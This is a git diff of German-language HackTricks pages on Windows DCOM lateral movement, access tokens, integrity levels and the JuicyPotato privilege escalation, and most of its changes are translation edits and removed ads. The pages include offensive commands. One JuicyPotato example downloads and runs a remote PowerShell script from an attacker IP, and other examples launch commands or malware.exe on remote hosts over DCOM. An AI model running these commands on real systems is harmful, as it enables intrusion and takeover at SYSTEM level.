Zwei spezifische Objekte, `ShellBrowserWindow` und `ShellWindows`, wurden aufgrund ihres Fehlens an expliziten Launch Permissions hervorgehoben. Das Fehlen eines `LaunchPermission`-Registryeintrags unter `HKCR:\AppID\{guid}` bedeutet, dass keine expliziten Berechtigungen vorhanden sind.
|
||||
|
||||
### ShellWindows
|
||||
Für `ShellWindows`, das keinen ProgID hat, erleichtern die .NET-Methoden `Type.GetTypeFromCLSID` und `Activator.CreateInstance` die Objektinstanziierung mithilfe seiner AppID. Dieser Prozess nutzt OleView .NET, um die CLSID für `ShellWindows` abzurufen. Nach der Instanziierung ist die Interaktion über die Methode `WindowsShell.Item` möglich, was zu Methodenaufrufen wie `Document.Application.ShellExecute` führt.
|
||||
Für `ShellWindows`, das keinen ProgID hat, ermöglichen die .NET-Methoden `Type.GetTypeFromCLSID` und `Activator.CreateInstance` die Objektinstanziierung unter Verwendung seiner AppID. Dieser Prozess nutzt OleView .NET, um die CLSID für `ShellWindows` abzurufen. Nach der Instanziierung ist die Interaktion über die Methode `WindowsShell.Item` möglich, was zu Methodenaufrufen wie `Document.Application.ShellExecute` führt.
|
||||
|
||||
Beispiel-PowerShell-Befehle wurden bereitgestellt, um das Objekt zu instanziieren und Befehle remote auszuführen:
|
||||
```powershell
|
||||
|
@ -75,7 +67,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
|
|||
|
||||
Laterale Bewegung kann durch das Ausnutzen von DCOM Excel-Objekten erreicht werden. Für detaillierte Informationen ist es ratsam, die Diskussion über die Nutzung von Excel DDE für laterale Bewegung über DCOM auf [Cybereason's Blog](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom) zu lesen.
|
||||
|
||||
Das Empire-Projekt bietet ein PowerShell-Skript, das die Nutzung von Excel für Remote Code Execution (RCE) durch Manipulation von DCOM-Objekten demonstriert. Nachfolgend sind Ausschnitte aus dem Skript verfügbar auf [Empire's GitHub-Repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), die verschiedene Methoden zur Missbrauch von Excel für RCE zeigen:
|
||||
Das Empire-Projekt bietet ein PowerShell-Skript, das die Nutzung von Excel für Remote Code Execution (RCE) durch Manipulation von DCOM-Objekten demonstriert. Nachfolgend sind Ausschnitte aus dem Skript verfügbar auf [Empire's GitHub-Repository](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), die verschiedene Methoden zur Ausnutzung von Excel für RCE zeigen:
|
||||
```powershell
|
||||
# Detection of Office version
|
||||
elseif ($Method -Match "DetectOffice") {
|
||||
|
@ -120,12 +112,6 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -1,39 +1,26 @@
|
|||
# Access Tokens
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Access Tokens
|
||||
|
||||
Jeder **Benutzer, der** im System **angemeldet ist, hält ein Zugriffstoken mit Sicherheitsinformationen** für diese Anmeldesitzung. Das System erstellt ein Zugriffstoken, wenn der Benutzer sich anmeldet. **Jeder Prozess, der** im Namen des Benutzers **ausgeführt wird, hat eine Kopie des Zugriffstokens**. Das Token identifiziert den Benutzer, die Gruppen des Benutzers und die Berechtigungen des Benutzers. Ein Token enthält auch eine Anmelde-SID (Security Identifier), die die aktuelle Anmeldesitzung identifiziert.
|
||||
|
||||
Sie können diese Informationen durch Ausführen von `whoami /all` sehen.
|
||||
Sie können diese Informationen sehen, indem Sie `whoami /all` ausführen.
|
||||
```
|
||||
whoami /all
|
||||
|
||||
|
@ -77,7 +64,7 @@ SeUndockPrivilege Remove computer from docking station Disabled
|
|||
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
|
||||
SeTimeZonePrivilege Change the time zone Disabled
|
||||
```
|
||||
or using _Process Explorer_ from Sysinternals (select process and access"Security" tab):
|
||||
or using _Process Explorer_ von Sysinternals (Prozess auswählen und "Sicherheit" Tab zugreifen):
|
||||
|
||||
![](<../../.gitbook/assets/image (772).png>)
|
||||
|
||||
|
@ -128,17 +115,6 @@ Werfen Sie einen Blick auf [**alle möglichen Token-Privilegien und einige Defin
|
|||
|
||||
Erfahren Sie mehr über Tokens in diesen Tutorials: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) und [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -146,7 +122,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,59 +1,45 @@
|
|||
# Integritätsstufen
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark-Web** betriebenen Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Integritätsstufen
|
||||
|
||||
In Windows Vista und späteren Versionen haben alle geschützten Elemente ein **Integritätsstufen**-Tag. Diese Konfiguration weist den meisten Dateien und Registrierungsschlüsseln eine "mittlere" Integritätsstufe zu, mit Ausnahme bestimmter Ordner und Dateien, auf die Internet Explorer 7 mit einer niedrigen Integritätsstufe schreiben kann. Das Standardverhalten ist, dass Prozesse, die von Standardbenutzern initiiert werden, eine mittlere Integritätsstufe haben, während Dienste typischerweise auf einer Systemintegritätsstufe arbeiten. Ein Hochintegritätslabel schützt das Wurzelverzeichnis.
|
||||
In Windows Vista und späteren Versionen haben alle geschützten Elemente ein **Integritätsstufen**-Tag. Diese Konfiguration weist Dateien und Registrierungsschlüsseln in der Regel eine "mittlere" Integritätsstufe zu, mit Ausnahme bestimmter Ordner und Dateien, auf die Internet Explorer 7 mit einer niedrigen Integritätsstufe schreiben kann. Das Standardverhalten ist, dass Prozesse, die von Standardbenutzern initiiert werden, eine mittlere Integritätsstufe haben, während Dienste typischerweise auf einer Systemintegritätsstufe arbeiten. Ein Hochintegritätslabel schützt das Wurzelverzeichnis.
|
||||
|
||||
Eine wichtige Regel ist, dass Objekte nicht von Prozessen mit einer niedrigeren Integritätsstufe als der des Objekts modifiziert werden können. Die Integritätsstufen sind:
|
||||
|
||||
* **Untrusted**: Diese Stufe ist für Prozesse mit anonymen Anmeldungen. %%%Beispiel: Chrome%%%
|
||||
* **Low**: Hauptsächlich für Internetinteraktionen, insbesondere im geschützten Modus von Internet Explorer, der betroffene Dateien und Prozesse sowie bestimmte Ordner wie den **Temporären Internetordner** betrifft. Prozesse mit niedriger Integrität unterliegen erheblichen Einschränkungen, einschließlich des fehlenden Zugriffs auf die Registrierung und eingeschränktem Zugriff auf das Benutzerprofil.
|
||||
* **Medium**: Die Standardstufe für die meisten Aktivitäten, die Standardbenutzern und Objekten ohne spezifische Integritätsstufen zugewiesen wird. Selbst Mitglieder der Administratorgruppe arbeiten standardmäßig auf dieser Stufe.
|
||||
* **Medium**: Die Standardstufe für die meisten Aktivitäten, die Standardbenutzern und Objekten ohne spezifische Integritätsstufen zugewiesen ist. Selbst Mitglieder der Administratorgruppe arbeiten standardmäßig auf dieser Stufe.
|
||||
* **High**: Reserviert für Administratoren, die es ihnen ermöglichen, Objekte mit niedrigeren Integritätsstufen zu modifizieren, einschließlich solcher auf der hohen Stufe selbst.
|
||||
* **System**: Die höchste Betriebsstufe für den Windows-Kernel und die Kernservices, die selbst für Administratoren unerreichbar ist und den Schutz wichtiger Systemfunktionen gewährleistet.
|
||||
* **Installer**: Eine einzigartige Stufe, die über allen anderen steht und es Objekten auf dieser Stufe ermöglicht, jedes andere Objekt zu deinstallieren.
|
||||
|
||||
Du kannst die Integritätsstufe eines Prozesses mit **Process Explorer** von **Sysinternals** abrufen, indem du die **Eigenschaften** des Prozesses aufrufst und die Registerkarte "**Sicherheit**" ansiehst:
|
||||
Sie können die Integritätsstufe eines Prozesses mit **Process Explorer** von **Sysinternals** abrufen, indem Sie die **Eigenschaften** des Prozesses aufrufen und die Registerkarte "**Sicherheit**" anzeigen:
|
||||
|
||||
![](<../../.gitbook/assets/image (824).png>)
|
||||
|
||||
Du kannst auch deine **aktuelle Integritätsstufe** mit `whoami /groups` abrufen.
|
||||
Sie können auch Ihre **aktuelle Integritätsstufe** mit `whoami /groups` abrufen.
|
||||
|
||||
![](<../../.gitbook/assets/image (325).png>)
|
||||
|
||||
### Integritätsstufen im Dateisystem
|
||||
|
||||
Ein Objekt im Dateisystem kann eine **Mindestanforderung an die Integritätsstufe** benötigen, und wenn ein Prozess diese Integritätsstufe nicht hat, kann er nicht mit ihm interagieren.\
|
||||
Zum Beispiel, lass uns **eine reguläre Datei von einer regulären Benutzerkonsole erstellen und die Berechtigungen überprüfen**:
|
||||
Zum Beispiel, lassen Sie uns **eine reguläre Datei von einer regulären Benutzerkonsole erstellen und die Berechtigungen überprüfen**:
|
||||
```
|
||||
echo asd >asd.txt
|
||||
icacls asd.txt
|
||||
|
@ -64,7 +50,7 @@ NT AUTHORITY\INTERACTIVE:(I)(M,DC)
|
|||
NT AUTHORITY\SERVICE:(I)(M,DC)
|
||||
NT AUTHORITY\BATCH:(I)(M,DC)
|
||||
```
|
||||
Jetzt weisen wir der Datei ein minimales Integritätslevel von **Hoch** zu. Dies **muss von einer Konsole** ausgeführt werden, die als **Administrator** läuft, da eine **reguläre Konsole** im Integritätslevel Mittel läuft und **nicht** berechtigt ist, einem Objekt das hohe Integritätslevel zuzuweisen:
|
||||
Jetzt weisen wir dem Datei ein minimales Integritätslevel von **Hoch** zu. Dies **muss von einer Konsole** ausgeführt werden, die als **Administrator** läuft, da eine **reguläre Konsole** im Integritätslevel Mittel läuft und **nicht erlaubt sein wird**, ein hohes Integritätslevel einem Objekt zuzuweisen:
|
||||
```
|
||||
icacls asd.txt /setintegritylevel(oi)(ci) High
|
||||
processed file: asd.txt
|
||||
|
@ -115,30 +101,3 @@ Für Neugierige, wenn Sie einem Binärprogramm ein hohes Integritätslevel zuwei
|
|||
Nicht alle Dateien und Ordner haben ein minimales Integritätslevel, **aber alle Prozesse laufen unter einem Integritätslevel**. Und ähnlich wie beim Dateisystem, **wenn ein Prozess in einen anderen Prozess schreiben möchte, muss er mindestens das gleiche Integritätslevel haben**. Das bedeutet, dass ein Prozess mit niedrigem Integritätslevel keinen Handle mit vollem Zugriff auf einen Prozess mit mittlerem Integritätslevel öffnen kann.
|
||||
|
||||
Aufgrund der in diesem und im vorherigen Abschnitt kommentierten Einschränkungen ist es aus sicherheitstechnischer Sicht immer **empfohlen, einen Prozess im niedrigsten möglichen Integritätslevel auszuführen**.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,20 +15,6 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato funktioniert nicht** auf Windows Server 2019 und Windows 10 Build 1809 und höher. Allerdings können [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) verwendet werden, um **die gleichen Berechtigungen zu nutzen und Zugriff auf `NT AUTHORITY\SYSTEM`** zu erhalten. _**Überprüfe:**_
|
||||
{% endhint %}
|
||||
|
@ -49,7 +35,7 @@ _Eine gesüßte Version von_ [_RottenPotatoNG_](https://github.com/breenmachine/
|
|||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) und seine [Varianten](https://github.com/decoder-it/lonelypotato) nutzen die Privilegieneskalationskette basierend auf [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [Dienst](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126), der den MiTM-Listener auf `127.0.0.1:6666` hat und wenn du `SeImpersonate` oder `SeAssignPrimaryToken` Berechtigungen hast. Während einer Überprüfung des Windows-Builds fanden wir eine Konfiguration, bei der `BITS` absichtlich deaktiviert war und der Port `6666` belegt war.
|
||||
|
||||
Wir entschieden uns, [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) zu waffen: **Sag Hallo zu Juicy Potato**.
|
||||
Wir beschlossen, [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) zu waffen: **Sag Hallo zu Juicy Potato**.
|
||||
|
||||
> Für die Theorie siehe [Rotten Potato - Privilegieneskalation von Dienstkonten zu SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) und folge der Kette von Links und Referenzen.
|
||||
|
||||
|
@ -128,7 +114,7 @@ c:\Users\Public>
|
|||
```
|
||||
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
|
||||
```
|
||||
### Starte eine neue CMD (wenn du RDP-Zugriff hast)
|
||||
### Starte ein neues CMD (wenn du RDP-Zugriff hast)
|
||||
|
||||
![](<../../.gitbook/assets/image (300).png>)
|
||||
|
||||
|
@ -142,7 +128,7 @@ Oft funktioniert die standardmäßige CLSID, die JuicyPotato verwendet, **nicht*
|
|||
|
||||
Zuerst benötigst du einige ausführbare Dateien neben juicypotato.exe.
|
||||
|
||||
Lade [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) herunter und lade es in deine PS-Sitzung, und lade [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) herunter und führe es aus. Dieses Skript erstellt eine Liste möglicher CLSIDs zum Testen.
|
||||
Lade [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) herunter und lade es in deine PS-Sitzung, und lade [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) herunter und führe es aus. Dieses Skript erstellt eine Liste möglicher CLSIDs, die getestet werden können.
|
||||
|
||||
Lade dann [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat) herunter (ändere den Pfad zur CLSID-Liste und zur juicypotato-executablen Datei) und führe es aus. Es wird versuchen, jede CLSID zu testen, und **wenn sich die Portnummer ändert, bedeutet das, dass die CLSID funktioniert hat**.
|
||||
|
||||
|
@ -152,17 +138,6 @@ Lade dann [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Te
|
|||
|
||||
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -174,7 +149,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,22 +15,8 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
